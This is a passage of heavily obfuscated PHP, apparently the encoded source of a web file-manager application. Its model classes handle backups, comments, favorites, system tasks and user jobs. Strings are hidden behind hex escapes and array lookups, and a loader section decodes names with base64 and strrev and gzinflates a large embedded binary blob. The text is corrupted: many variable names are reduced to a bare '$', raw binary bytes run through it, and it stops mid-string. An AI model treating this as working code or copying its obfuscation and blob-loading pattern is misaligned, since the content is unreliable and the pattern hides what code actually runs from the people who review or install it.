$ԗЕ[88]; } unset($ー[$ԗЕ[1631]]); Action($ԗЕ[1876])->taskInit(); Model($ԗЕ[1630])->cacheClear(); $谔 = $ԗЕ[1877]; $Д = Model($ԗЕ[1878])->findByKey($ԗЕ[1649], $谔); if (!$Д) { $Д = array(); } if (isset($Д[$ԗЕ[180]])) { $Д[$ԗЕ[180]] = json_decode($Д[$ԗЕ[180]], !0); } if (isset($ー[$ԗЕ[180]])) { $Д[$ԗЕ[180]][$ԗЕ[1634]] = $ー[$ԗЕ[180]]; unset($ー[$ԗЕ[180]]); } return array_merge($Д, $ー); } public function listData($ = false, $ӛ = "\x6d\x6f\x64\x69\x66\171\x54\x69\x6d\145", $Ҥ = false) { return parent::listData($, $ӛ, !0); } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($ˆ) { $ꇐ =& $_SERVER[̧]; $ = $this->listData($ˆ); if (!$ || empty($[$ꇐ[32]])) { return !0; } Task::kill($ꇐ[799]); Task::kill($ꇐ[820]); Task::kill($ꇐ[829]); $̱ = $[$ꇐ[32]]; $ = TEMP_FILES . $ꇐ[798] . $̱ . $ꇐ[8]; IO::remove($, !1); return $this->remove($ˆ); } public function remove($) { $ɓ = $this->listData($); if (!$ɓ) { return !0; } return $this->backupRemove($ɓ); } private function backupRemove($) { parent::remove($[$_SERVER[̧][437]]); $嗛 = $this->backupPath($); IO::remove($嗛, !1); return !0; } private function backupPath($) { $ =& $_SERVER[̧]; $ = $[$[32]]; $ɶ = Model($[790])->get($[791]); $қ = substr(md5($[792] . $ɶ . $), 0, 8); return "\173\x69\157\72{$[$[771]]}\x7d\x2f\144\x61\x74\x61\142\141\163\145\57\x62\141\x63\153\x75\160\57" . $ . $[11] . $қ; } public function start() { $ޛ =& $_SERVER[̧]; if ($GLOBALS[$ޛ[6]][$ޛ[89]][$ޛ[1879]] != $ޛ[88]) { return !0; } $ӭ = $this->config(); if (!$ӭ || $ӭ[$ޛ[1631]] != $ޛ[88]) { return !1; } $Ӄ = $this->process(); foreach ($Ӄ as $) { if ($) { return Task::restart($[$ޛ[437]]); } } $ٟл = new Backup(); $ž = $ٟл->db(); if ($ž) { $ž = $ٟл->dbFile(); if ($ž && $ӭ[$ޛ[774]] == $ޛ[198]) { $ž = $ٟл->file(); } } Backup::set(array($ޛ[770] => 1, $ޛ[781] => time())); return !0; } public function process() { $҃݋ =& $_SERVER[̧]; $ܚ = array($҃݋[777] => Task::get($҃݋[799]), $҃݋[782] => Task::get($҃݋[820]), $҃݋[200] => Task::get($҃݋[829])); $㈹ = !1; foreach ($ܚ as &$˂) { if ($㈹) { $˂ = !1; continue; } if ($˂) { $ = intval(_get($˂, $҃݋[1666], 0)); if (time() - $ > 7200) { Task::kill($˂[$҃݋[437]]); $㈹ = !0; $˂ = !1; } } } return $ܚ; } public function restore() { $ =& $_SERVER[̧]; ActionCall($[1080], !0, 1); ActionCall($[1080], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\x6f\x6d\155\145\x6e\x74"; protected $tableMeta = array("\x74\x61\x62\154\x65\116\141\155\x65" => "\x63\157\155\x6d\x65\x6e\x74\137\x6d\x65\164\141", "\x6d\145\x74\x61\106\x69\x65\x6c\144" => "\x63\x6f\x6d\x6d\x65\156\x74\111\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($ґԢ) { $ =& $_SERVER[̧]; if ($ґԢ[$[1880]]) { $˞ = $this->where(array($[1881] => $ґԢ[$[1880]]))->find(); if (!$˞ || $˞[$[449]] != $ґԢ[$[449]] || $˞[$[534]] != $ґԢ[$[534]]) { return !1; } $this->where(array($[1881] => $ґԢ[$[1880]]))->setAdd($[1882], 1); } $ґԢ[$[1883]] = 0; $ґԢ[$[1882]] = 0; $ґԢ[$[770]] = 1; return $this->add($ґԢ); } public function commentCount($ɠ, $Ԟ, $ٜ = false) { $˶œ =& $_SERVER[̧]; if (!$ɠ) { return array(); } if (is_string($ɠ) || is_int($ɠ)) { $ɠ = array($ɠ); } $Ʒ = array($˶œ[534], $˶œ[1884] => $˶œ[529]); $ڱ⸹ = array($˶œ[534] => array($˶œ[7], $ɠ), $˶œ[449] => $Ԟ); if ($ٜ) { $ڱ⸹[$˶œ[1661]] = $ٜ; } $Ӗ = $this->field($Ʒ)->where($ڱ⸹)->group($˶œ[534])->select(); return array_to_keyvalue($Ӗ, $˶œ[534], $˶œ[529]); } public function starTarget($, $牘) { $¨ =& $_SERVER[̧]; $ = $ + self::TYPE_STAR_OFFSET; $Ӝ = array($¨[1661] => USER_ID, $¨[449] => $, $¨[534] => $牘); $ = $this->where($Ӝ)->find(); if ($) { return $this->where(array($¨[437] => $[$¨[437]]))->delete(); } $ = array($¨[1880] => 0, $¨[1661] => USER_ID, $¨[770] => 1, $¨[774] => $¨[12], $¨[449] => $, $¨[534] => $牘, $¨[1883] => 0, $¨[1882] => 0); return $this->add($); } public function starTargetCount($, $) { $ =& $_SERVER[̧]; $ = $ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($, $); $坶 = $this->commentCount($, $, USER_ID); return array($[1885] => $, $[1886] => $坶); } public function starTargetUserList($ſ, $َ) { $ =& $_SERVER[̧]; $ = $ſ + self::TYPE_STAR_OFFSET; $ = array($[534] => $َ, $[449] => $); $ = $this->where($)->count(); $ܦ = array($[284] => $, $[1887] => array()); if (!$) { return $ܦ; } $ҭѴ = $this->field($[1661])->where($)->limit(500)->select(); $ҭѴ = array_to_keyvalue($ҭѴ, $[12], $[1661]); $ܦ[$[1887]] = Model($[542])->userListInfo($ҭѴ); return $ܦ; } public function prasiseUserList($) { $ =& $_SERVER[̧]; $Щ = array($[1888] => $); $܌ = $this->where($Щ)->find(); $ = _get($܌, $[1883], 0); $ = array($[284] => $, $[1887] => array()); if (!$) { return $; } $ճÇ = Model($[1889])->field($[1661])->where($Щ)->limit(500)->select(); $ճÇ = array_to_keyvalue($ճÇ, $[12], $[1661]); $[$[1887]] = Model($[542])->userListInfo($ճÇ); return $; } public function remove($쎩) { $ =& $_SERVER[̧]; $ = array($[1881] => $쎩); $ˈ = $this->where($)->find(); if ($ˈ[$[1880]]) { $this->where(array($[1881] => $ˈ[$[1880]]))->setAdd($[1882], -1); } return $this->where($)->delete(); } public function edit($몘, $ϛ) { $ʋ =& $_SERVER[̧]; $񪪣 = array($ʋ[1881] => $몘); return $this->where($񪪣)->save(array($ʋ[1890] => $ϛ)); } public function prasise($чի) { $ߜ =& $_SERVER[̧]; $ӁɎ = Model($ߜ[1891]); $پ = array($ߜ[1881] => $чի, $ߜ[1652] => USER_ID); $导 = $ӁɎ->where($پ)->find(); if (!$导) { $ӁɎ->add($پ); $ = $this->where(array($ߜ[1881] => $чի))->setAdd($ߜ[1883], 1); } else { $ӁɎ->where($پ)->delete(); $ = $this->where(array($ߜ[1881] => $чի))->setAdd($ߜ[1883], -1); } return $; } public function targetInfo($, $) { $䧠 =& $_SERVER[̧]; $Ԣ׉ = array($䧠[614] => $, $䧠[615] => $); $؏ì = $this->where($Ԣ׉)->count(); $ = "\122\x49\x47\110\x54\x20\112\x4f\111\116\40{$this->tablePrefix}\143\157\155\155\x65\x6e\x74\137\160\162\141\151\x73\145\40\163\164\141\162\x20\x6f\156\x20\143\157\x6d\155\x65\156\164\x2e\143\x6f\155\155\145\156\x74\x49\x44\40\x3d\x20\163\164\141\162\56\143\157\x6d\155\x65\156\x74\x49\104"; $ϣ = $this->alias($䧠[383])->where($Ԣ׉)->join($, $䧠[1892])->count(); $ = array($䧠[1893] => $؏ì, $䧠[1894] => $ϣ); return $; } public function listData($Σ) { $ſ =& $_SERVER[̧]; if (isset($Σ[$ſ[1895]])) { if ($Σ[$ſ[1895]]) { $Σ[$ſ[1888]] = array($ſ[1034], intval($Σ[$ſ[1895]])); } unset($Σ[$ſ[1895]]); } if (isset($Σ[$ſ[1896]])) { if ($Σ[$ſ[1896]]) { $Σ[$ſ[1888]] = array($ſ[1031], intval($Σ[$ſ[1896]])); } unset($Σ[$ſ[1896]]); } return $this->_listData($Σ); } private function _listData($) { $ =& $_SERVER[̧]; $ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($[$[398]]); $this->_listAppendUser($[$[398]]); $this->_listAppendMeta($[$[398]]); return $; } private function _makeOrder() { $ԋշ =& $_SERVER[̧]; $ = array($ԋշ[1883], $ԋշ[1882], $ԋշ[201]); $ = Input::get($ԋշ[495], $ԋշ[7], $ԋշ[461], $); $׺ = Input::get($ԋշ[496], $ԋշ[7], $ԋշ[1654], array($ԋշ[1897], $ԋշ[491])); $ = $ . $ԋշ[53] . $׺; return $this->order($); } private function _listAppendParent(&$˱Ω) { $ =& $_SERVER[̧]; $ݐ = array_unique(array_to_keyvalue($˱Ω, $[12], $[1880])); $ݐ = array_remove_value($ݐ, $[198]); if (!$ݐ) { return; } $ = $this->where(array($[1881] => array($[7], $ݐ)))->select(); $ = array_to_keyvalue($, $[1888]); foreach ($˱Ω as &$) { if (isset($[$[$[1880]]])) { $[$[1898]] = $[$[$[1880]]]; } } unset($); } private function _listAppendUser(&$䐈) { $ =& $_SERVER[̧]; $ݚ = array_unique(array_to_keyvalue($䐈, $[12], $[1661])); $ݚ = array_remove_value($ݚ, $[198]); if (count($ݚ) == 0) { return; } foreach ($䐈 as $Ԃ) { if (isset($Ԃ[$[1898]])) { $ݚ[] = $Ԃ[$[1898]][$[1661]]; } } $Ȩ = Model($[563])->userListInfo($ݚ); foreach ($䐈 as &$Ԃ) { $Ԃ[$[628]] = $Ȩ[$Ԃ[$[1661]]]; if (isset($Ԃ[$[1898]])) { $Ԃ[$[1898]][$[628]] = $Ȩ[$Ԃ[$[1898]][$[1661]]]; } } unset($Ԃ); } private function _listAppendMeta(&$뼥) { $ =& $_SERVER[̧]; $ӑ = array_unique(array_to_keyvalue($뼥, $[12], $[1888])); $ӑ = array_remove_value($ӑ, $[198]); if (!$ӑ) { return; } foreach ($뼥 as $ɢ) { if (isset($ɢ[$[1898]])) { $ӑ[] = $ɢ[$[1898]][$[1888]]; } } $窹 = $this->metaList($ӑ); if (!$窹) { return !1; } foreach ($뼥 as &$ɢ) { $ɢ[$[504]] = $窹[$ɢ[$[1888]]]; if (isset($ɢ[$[1898]])) { $ɢ[$[1898]][$[504]] = $窹[$ɢ[$[1898]][$[1888]]]; } } unset($ɢ); } private function metaList($ڥ) { $ =& $_SERVER[̧]; if (!$ڥ) { return array(); } $ = array($[1888] => array($[7], $ڥ)); $ = Model($[1899])->where($)->select(); $ = array_to_keyvalue_group($, $[1888]); foreach ($ as $̡ => $劦) { $՛ = array(); foreach ($劦 as $) { $՛[$[$[94]]] = $[$[403]]; } $[$̡] = $՛; } return $ ? $ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x66\x69\x6c\x65\x5f\143\157\156\164\145\x6e\164\163"; protected $dataAuto = array(array("\x63\162\145\141\164\x65\x54\151\x6d\145", "\164\x69\x6d\x65", "\x69\x6e\x73\145\x72\164", "\146\165\156\x63\164\x69\157\156")); } goto Ddž; cʻ: class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\155\56\164\x61\163\x6b\114\x69\x73\164"; public $field = array("\x6e\141\x6d\x65", "\164\171\x70\145", "\x65\166\x65\156\164", "\164\x69\x6d\x65", "\x64\145\163\x63", "\x73\171\163\x74\145\155", "\x65\x6e\141\142\x6c\x65", "\154\141\x73\x74\122\x75\156", "\x73\157\162\x74"); public function listData($܎ = false, $ = "\163\157\x72\164", $ = false) { return parent::listData($܎, $, $); } public function add($) { $ =& $_SERVER[̧]; $ť荳 = $this->findByName($[$[32]]); if ($ť荳) { return !1; } $[$[1619]] = 0; $[$[1875]] = $this->getSort(); return parent::insert($); } private function getSort() { $π =& $_SERVER[̧]; $⦌ = parent::listData(); $ = array_to_keyvalue($⦌, $π[12], $π[1875]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $ =& $_SERVER[̧]; $ = $this->listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[437]] != $[$[437]]) { return !1; } return parent::update($, $); } public function remove($Є褾, $˟ = false) { $ =& $_SERVER[̧]; $ = $this->listData($Є褾); if (!$) { return; } if (!$˟ && $[$[1307]] == $[88]) { return !1; } return parent::remove($Є褾); } public function enable($, $) { return $this->update($, array($_SERVER[̧][2285] => $)); } public function run($ޫ) { return $this->update($ޫ, array($_SERVER[̧][2297] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\x75\163\145\162\x5f\x66\x61\x76"; protected function cacheFunctionAlias($) { $Ε =& $_SERVER[̧]; return array($Ε[1962] => array(USER_ID, $Ε[2298])); } protected function listData() { $рIJ =& $_SERVER[̧]; $ = array($рIJ[1652] => USER_ID, $рIJ[521] => 0); $¬ = $рIJ[2299]; $ = $this->field($¬)->where($)->order($рIJ[2300])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ȡ =& $_SERVER[̧]; $Ո = $this->listData(); $̍ = array_filter_by_field($Ո, $ȡ[33], $ȡ[454]); $ϑڏ = array_to_keyvalue($̍, $ȡ[12], $ȡ[84]); if (!$ϑڏ) { return $Ո; } $҄ = 2000; $ԧ = array($ȡ[455] => array($ȡ[456], $ϑڏ)); $ = Model($ȡ[845])->listSource($ԧ, $҄); $ = array_merge($[$ȡ[83]], $[$ȡ[82]]); $ = array_to_keyvalue($, $ȡ[440]); foreach ($Ո as $十 => $دɅ) { $ = $[$دɅ[$ȡ[84]]]; $ = $ ? $ : array(); $Ո[$十] = array_merge($, $دɅ); } return $Ո; } protected function addFav($, $Ռ̑ = '', $𚶏 = "\x73\x6f\165\x72\143\145") { $ר =& $_SERVER[̧]; $车 = array($ר[1652] => USER_ID, $ר[521] => 0, $ר[460] => $𚶏, $ר[459] => $); if ($this->where($车)->find()) { return !1; } $车 = array($ר[1652] => USER_ID, $ר[521] => 0); $ = $this->where($车)->max($ר[1875]); if (!$) { $ = 0; } if (!$Ռ̑ && $𚶏 == $ר[454]) { $櫐 = Model($ר[1353])->where(array($ר[455] => $))->find(); if (!$櫐) { return !1; } $Ռ̑ = $櫐[$ר[32]]; } $Ռ̑ = $this->getAutoName($Ռ̑); $Χڂ = array($ר[1652] => USER_ID, $ר[521] => 0, $ר[458] => $Ռ̑, $ר[459] => $, $ר[460] => $𚶏, $ר[1855] => $ + 1); return $this->add($Χڂ); } protected function remove($) { $юƇ =& $_SERVER[̧]; $Ǟ = array($юƇ[1652] => USER_ID, $юƇ[457] => $); return $this->where($Ǟ)->delete(); } protected function removeByName($) { $ =& $_SERVER[̧]; $ć = array($[1652] => USER_ID, $[458] => $, $[521] => 0); return $this->where($ć)->delete(); } protected function rename($ܾ, $ʧ) { $ھ =& $_SERVER[̧]; if ($ܾ == $ʧ) { return !1; } $ܱ = $this->getAutoName($ʧ); if ($ʧ != $ܱ) { return !1; } $Ūϫ = array($ھ[1652] => USER_ID, $ھ[521] => 0, $ھ[32] => $ܾ); return $this->where($Ūϫ)->save(array($ھ[32] => $ʧ)); } protected function resetSort($˙) { $ =& $_SERVER[̧]; $˙ = is_array($˙) ? $˙ : array(); $տޙ = array($[1652] => USER_ID); for ($멭 = 0; $멭 < count($˙); $멭++) { $տޙ[$[457]] = $˙[$멭]; $this->where($տޙ)->save(array($[1855] => $멭 + 1)); } return !0; } protected function moveTop($П) { $͒ =& $_SERVER[̧]; $撬 = array($͒[1652] => USER_ID, $͒[521] => 0); $濮 = $this->where($撬)->where(array($͒[32] => $П))->find(); if (!$濮) { return; } $լҤ = $this->field($͒[437])->where($撬)->order($͒[2300])->select(); $լҤ = array_to_keyvalue($լҤ, $͒[12], $͒[437]); $߲ = $լҤ; $լҤ = array_remove_value($լҤ, $濮[$͒[437]]); array_unshift($լҤ, $濮[$͒[437]]); return $this->resetSort($լҤ); } protected function moveBottom($Ý׬) { $Ĥ =& $_SERVER[̧]; $ = array($Ĥ[1652] => USER_ID, $Ĥ[521] => 0); $ݱ = $this->where($)->max($Ĥ[1875]); $ޜ = array($Ĥ[1875] => $ݱ + 1); return $this->where($)->where(array($Ĥ[32] => $Ý׬))->save($ޜ); } private function getAutoName($ń) { $󙮤 =& $_SERVER[̧]; $ = array($󙮤[1652] => USER_ID, $󙮤[521] => 0); $ = $this->field($󙮤[32])->where($)->select(); $ = array_to_keyvalue($, $󙮤[12], $󙮤[32]); if (!$ || !in_array($ń, $)) { return $ń; } for ($ξ = 0; $ξ < count($); $ξ++) { if (!in_array($ń . "\x28{$ξ}\x29", $)) { return $ń . "\50{$ξ}\x29"; } } return $ń . "\x28{$ξ}\51"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\155\56\152\157\142\x4c\x69\x73\x74"; public $field = array("\x6e\x61\155\145", "\x64\x65\163\143", "\x73\x6f\x72\x74"); const JOB_KEY = "\x73\x65\154\x66\x4a\157\142\x4c\151\163\164"; public function listData($ = false, $ĭ = "\x73\157\162\x74", $׳ = false) { return parent::listData($, $ĭ, $׳); } public function remove($ǽ) { return parent::remove($ǽ); } public function add($) { $݉ =& $_SERVER[̧]; if ($this->findByName($[$݉[32]])) { return !1; } $[$݉[1875]] = $this->getSort(); return parent::insert($); } private function getSort() { $ޜ =& $_SERVER[̧]; $Ⴢ = parent::listData(); $ = array_to_keyvalue($Ⴢ, $ޜ[12], $ޜ[1875]); return empty($) ? 0 : max($) + 1; } public function update($, $ھ) { $ =& $_SERVER[̧]; $ܮ = parent::listData($); $զ = $this->findByName($ھ[$[32]]); if (!$ܮ || $զ && $զ[$[437]] != $ܮ[$[437]]) { return !1; } return parent::update($, $ھ); } public function setUserJob($, $⹣) { $ =& $_SERVER[̧]; if (!is_array($⹣)) { $⹣ = array($⹣); } $̔ᗸ = parent::listData(); $ = array_to_keyvalue($̔ᗸ, $[32]); $ = $[407]; foreach ($⹣ as $) { if ($[$]) { $ .= $[$][$[437]] . $[50]; } else { $ڬ = $this->add($); $ .= $ڬ . $[50]; } } $ = rtrim($, $[50]); Model($[563])->metaSet($, self::JOB_KEY, $); } public function getUserJob($˰Ι) { $灕 = Model($_SERVER[̧][563])->metaGet($˰Ι); return $this->getUserJobInfo($灕[self::JOB_KEY]); } public function getUserJobInfo($ἅ) { $Č =& $_SERVER[̧]; $ؒ = explode($Č[50], $ἅ); $ = parent::listData(); $ = array_remove_key($, $Č[201]); $֧ = array(); foreach ($ؒ as $ߵ) { if (isset($[$ߵ])) { $֧[] = $[$ߵ]; } } return $֧; } } goto cͧ; E: $fileSize = strrev(base64_decode($_SERVER[ې][0])); function binCheckNeq($ǂ, $) { return $ǂ != $; } $_SERVER[$_SERVER[ې][1]] = $fileSize($_SERVER[$_SERVER[ې][2]]); goto F; BАń: define($_SERVER[̧][270], 1); define($_SERVER[̧][271], 0); define($_SERVER[̧][272], 2); goto Dς¯; c󴑔޽: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define(base64_decode('oZPLzKec'), base64_decode('m7v1zpGz')); $_SERVER[̧] = explode("\x7c\x2\x7c\x4\x7c\x3", gzinflate(substr("\x1f\x8b\x8\x0\x0\x0\x0\x0\x0\x13\xc5\x7d\x9\x78\x1b\xd5\xd5\x28\x3b\x4\x4a\xa1\x85\x52\x4a\xb\xc\x26\xc1\x76\xa2\xc5\x76\x56\x9c\x38\x89\x6c\xcb\xb1\x12\x59\x72\x24\x39\xb\xb6\x99"."\214\245\221\65\261\244\121\64\43\157\111\32\226\244\254\111\12\145\137\313\126\2\45\11\133\130\23\112\123\240\55\224\345\321\237\275\224\226\46\41\374\100\331\51\224\226\276\273"."\234\273\314\110\206\377\175\357\175\337\343\43\326\275\347\56\163\227\163\317\75\367\334\163\316\175\355\265\237\76\370\213\217\127\355\267\352\200\125\373\137\366\317\147\176\171\337\136"."\32\136\265\57\372\173\20\15\237\170\301\41\373\220\377\216\272\340\374\232\232\366\151\207\116\212\174\153\343\275\233\265\73\264\333\264\13\242\341\247\376\20\72\374\231\73\346\7".base64_decode('99z01MieffdZt/17zzaizLRsI/1R8qat6MOGZVsUkDTzaaOfho08/fXTn65YuKjn')."\x4c\x5b\xa7\x51\x1f\xfd\x51\xa1\x5d\xe4\xaf\xb5\x22\x6b\xb0\x74\x35\x12\x4d\xa8\xf1\xae\xce\xce\x60\x2c\x1\x99\x1a\xe5\xf4\x9c\x99\x82\x50\x41\x2b\x6a\x39\xf8\x7e\x41\x2f\x5a\xa8\x35\x72\x75"."\152\301\54\350\171\7\104\0\122\232\255\365\151\26\324\324\332\254\266\6\73\303\321\245\152\142\151\147\20\162\364\251\53\112\172\161\204\306\110\60\156\153\105\73\141\344\164\236"."\143\250\310\333\325\34\234\27\212\50\211\130\40\22\17\264\44\102\321\10\5\267\104\73\72\102\211\162\170\54\32\16\67\7\132\26\224\247\164\306\2\363\72\2\12\152\137\126".base64_decode('V4182qxRltGUZUotDbQZejZFg3mNNcceKUAowUNomvKlbJZGIjyU0tNaKQuj1SpH')."\12\105\43\247\261\116\57\320\107\70\224\6\264\222\155\32\371\44\215\4\207\355\242\46\340\250\255\111\64\321\172\36\252\212\7\303\301\226\204\202\33\250\264\305\242\35\12\114".strrev('y1ZƋ*2`W=leaCAk5Stn'."\n".'n,lNB').strrev('mgJ#2dant$A4b'."\r".'MKi3Ajfri(F"')."\x75\x50\xcb\x96\x18\x9a\xe\xd0\xdf\x6a\xf8\x81\x5f\xd3\x2\xd4\x5d\x61\xe4\x8d\x12\xa0\x29\x54\x61\x9a\x7c\x59\x41\xa0\xc4\x72\xeb\xc\xa2\xa7\x20\x90\x43\xe5\x4d\x58\x79\x68\x19\xe\xd2\x60"."\323\154\372\73\23\62\365\251\70\115\57\332\252\236\117\232\51\43\17\213\165\16\40\235\146\147\132\213\6\312\100\343\151\63\233\142\141\313\30\205\256\244\215\254\36\51\345\344"."\x2c\x3c\x9a\xcc\x18\xd9\x54\x91\xad\xaf\xaf\xcb\x49\xa3\x61\xbe\x5c\x71\x5e\x11\x2b\xa0\x96\xf0\x95\x6e\xa4\x47\xc4\x7a\xc3\xf9\x3a\x79\xaa\x65\x96\x8a\x49\x3d\x84\xd6\x7\x8d\xd7\x3\x58\xb7"."\155\324\71\30\33\303\354\52\144\115\55\25\327\213\274\153\206\331\206\52\212\226\154\31\130\42\331\332\314\142\256\25\121\6\370\76\132\25\106\127\205\204\1\266\56\122\322\210".base64_decode('+Wu6z/R+1ds9F/2pBdLXA23K6Nmsqg/rsHByqakWGwy/1Wfk/QhCo6GomtGsTEdq')."\xaa\x4a\x4a\x31\x8a\x9a\xd2\x87\x7d\x85\x4c\x1\x56\x35\x5f\xc8\x3d\xe\xc4\xc6\x43\x17\x31\xed\xa0\x44\x97\xb3\x66\x52\xcb\xca\x5d\xa4\xe1\x8c\x6d\x17\xe2\x7a\x3e\x85\x47\x2\xba\x62\xe\xe5"."\311\110\25\164\35\62\265\172\224\224\322\241\54\125\332\33\215\106\213\25\314\145\171\210\365\216\303\54\16\264\207\331\164\246\322\64\320\307\266\205\52\370\240\141\21\12\47\226".base64_decode('p1YoZI2kZhtm3m8mbd32WnZR16DGQDKpW5a3xczbRTPrDWSz5pA3WjT6jXyjMhGI').base64_decode('LUpEi9qLCWAjrNSqmQpGHPyZiU0lO+2dwVYgz13U8lZaL3qDsDIaFdRYTgVZtlbD')."\x2a\x98\x96\x81\x9b\xd7\xa8\x68\xb6\xad\x25\x33\x98\x82\x88\xea\x9b\xbe\x26\xbf\x91\xcf\x1a\x79\xbd\x2c\x6f\x70\xb8\x60\x14\x75\x8b\xb5\x55\x99\xd7\x91\x80\x4a\x50\xed\xba\xb7\xb3\xa8\xf5\xe7"."\264\106\245\120\352\103\43\3\53\265\2\214\346\206\241\151\124\222\70\352\121\162\45\313\366\26\165\104\212\14\264\335\301\40\207\322\336\16\274\256\14\75\345\215\43\212\15\340"."\311\165\123\24\204\72\12\113\243\320\366\104\242\123\15\265\241\55\71\22\124\73\2\211\226\166\150\266\255\365\263\66\207\21\35\346\125\62\340\22\57\132\137\30\271\42\250\257".strrev('a9߰kA@uLolta3>ÙLeFEi')."\x3d\xdf\x6f\x67\x58\xc1\x78\x30\xb6\x28\x18\x53\xe3\xd1\xb6\xc4\xe2\x40\xc\x36\xf3\x3c\xc2\x92\x61\xf6\x29\x5c\x75\xd6\x1b\xd3\x53\x68\xe8\x93\x36\x2b\xa7\x15\xf0\xa8\xb1\x3c\x78\x71\xe0\xb9".base64_decode('Yql4wbC0cGgeHphWr4UyeeVcrO6wkTNw222eQkYS7fTzoEF+0qGmHmtiTU9qUq0X')."\xfd\x9d\x58\xdb\xdd\xd3\xea\x9b\xd8\x3b\xc7\x6f\x88\x32\xfe\x7a\x5f\xbd\xd2\x50\x37\x4d\xe9\x44\xac\x87\xa1\x65\x15\xe8\x74\x59\x8e\x3a\x25\xba\xc0\x39\x2c\x2\x9b\xf3\x66\x5e\xff\x9a\xc1\xc1"."\173\227\264\354\135\303\112\201\261\340\302\256\140\74\241\166\4\23\355\321\126\370\172\60\0\241\260\111\227\55\353\155\67\375\351\205\331\355\245\77\252\141\265\111\333\12\216\162"."\362\243\232\175\313\321\144\164\350\214\306\246\51\215\16\345\264\176\211\310\143\50\216\165\230\105\335\11\21\133\325\142\43\305\367\10\24\155\327\215\376\14\214\227\201\153\113\232".base64_decode('WbOoZTFlZItCZ9Sq3wBqBURYROJGrsAaa2dKuT4pCNTe5juVhTCJhTMm39nMIoQa')."\xfd\x50\x64\x42\x43\x1b\xa3\xfb\xfe\xf8\x64\xf4\xbf\x20\xf2\x29\x33\xa7\x31\x92\x49\x88\x9d\x9e\xa2\xd4\x8e\x82\x26\x3a\x52\xda\x75\x4d\x6c\xd7\x76\xd1\x36\x31\xb4\xe8\xc8\x82\x86\x36\x63\xc2"."\24\367\353\254\111\45\336\66\326\312\224\236\325\331\270\144\164\266\141\324\101\66\264\341\361\121\113\363\331\103\174\37\202\212\235\332\260\142\250\44\46\357\54\276\30\63\312\2"."\220\105\73\124\224\314\270\210\167\26\365\264\1\213\64\217\146\244\103\53\16\260\76\240\31\20\270\202\43\22\36\265\165\205\303\152\113\64\222\100\54\65\205\54\216\205\22\101"."\206\267\201\126\65\320\322\311\67\136\61\243\220\1\23\230\362\335\203\102\6\33\140\146\121\163\374\142\233\103\24\273\140\346\55\335\233\204\22\202\365\56\113\112\211\135\0\350".base64_decode('jNg5XJvBsFfLjXpzaAl4eUOde7CSkLfyEMyNIO54GNGpiG3+ndE4FJiDoYgB69OL')."\360\261\316\56\110\312\111\170\61\57\10\300\103\331\176\256\1\133\25\130\34\147\204\271\204\362\27\215\121\115\164\151\16\153\17\353\110\56\53\370\71\147\257\274\142\344\121\225"."\x53\xbc\xed\x1d\x81\x16\x6f\xbc\x3d\xd0\x30\x75\x1a\x85\x2e\xcd\xa5\x7a\x12\xed\x86\xd5\x73\x1a\x8f\xc3\xb8\xd\x59\x53\xd4\xa2\x8e\xe\x62\xac\xe6\x86\xba\x7a\xb6\x7c\xd1\x2e\x2a\xb5\x67\xa9"."\67\347\305\265\340\41\363\325\325\325\261\272\46\115\123\62\210\153\4\234\65\363\51\62\55\60\130\175\245\344\0\133\26\132\222\61\64\370\304\147\171\207\14\106\121\306\163\336"."\x6f\x7c\x39\xba\x8c\x77\x92\x4e\xa8\xa2\x44\x18\x17\x55\x4b\xe2\x8f\xa9\xa8\x46\xbb\x64\xc9\x43\x83\x16\x4f\xa\x15\x32\x18\x9f\x46\xa1\x5a\xb6\x1f\x8d\xb2\x9d\xc9\xc9\x40\x31\xd3\x34\xae\x53"."\366\201\117\26\37\105\74\266\225\250\71\133\354\210\163\30\141\133\126\245\66\54\251\324\206\45\256\66\54\51\157\3\5\131\106\177\36\365\222\221\350\104\173\50\262\100\355\210"."\266\6\303\152\50\202\266\240\104\71\274\253\263\65\300\326\254\14\157\216\46\332\35\320\56\264\11\55\12\204\103\356\354\301\45\241\170\42\136\61\11\301\272\202\256\24\164\342"."\xef\x8c\x5\xdb\x42\x4b\x78\xb4\x2d\x14\xc\xb7\xc6\xd5\x96\x40\x4b\xbb\xc8\x13\x9\x74\x40\x44\x4d\xe3\x33\xb7\xe5\x77\xe6\x57\xd1\x6e\x1a\xe7\x27\x77\x75\x10\x4b\x21\x18\x16\xaa\x8e\xc3\xb2"."\xca\x8e\x81\xaa\x20\x16\x88\x6b\xd2\x61\xc0\xa1\xbb\x58\xf6\x41\x7a\xa2\x32\x24\x2d\xb1\xbd\x9e\x9f\x18\x72\x6c\xb\xc8\x69\x40\x2d\x35\xc6\x11\xd5\xd0\x9f\x5a\x25\x10\x57\xec\x82\xca\x89\x7d"."\xdf\x8\xf\x92\x6e\xb0\x38\x3a\x1b\xc0\xf7\x15\xd8\xd9\xcb\x5a\xa0\xe2\x3c\xcd\x7a\x9a\x6f\xb8\x95\x1\x81\xb4\xcd\xf7\x75\x57\x1c\x51\x39\x91\x86\x66\x20\x40\x84\x2c\x8\x13\xc8\x8c\xc0\x67".strrev('ˎư,Abؒh_ 5C̍8` 3j-\'5v3D 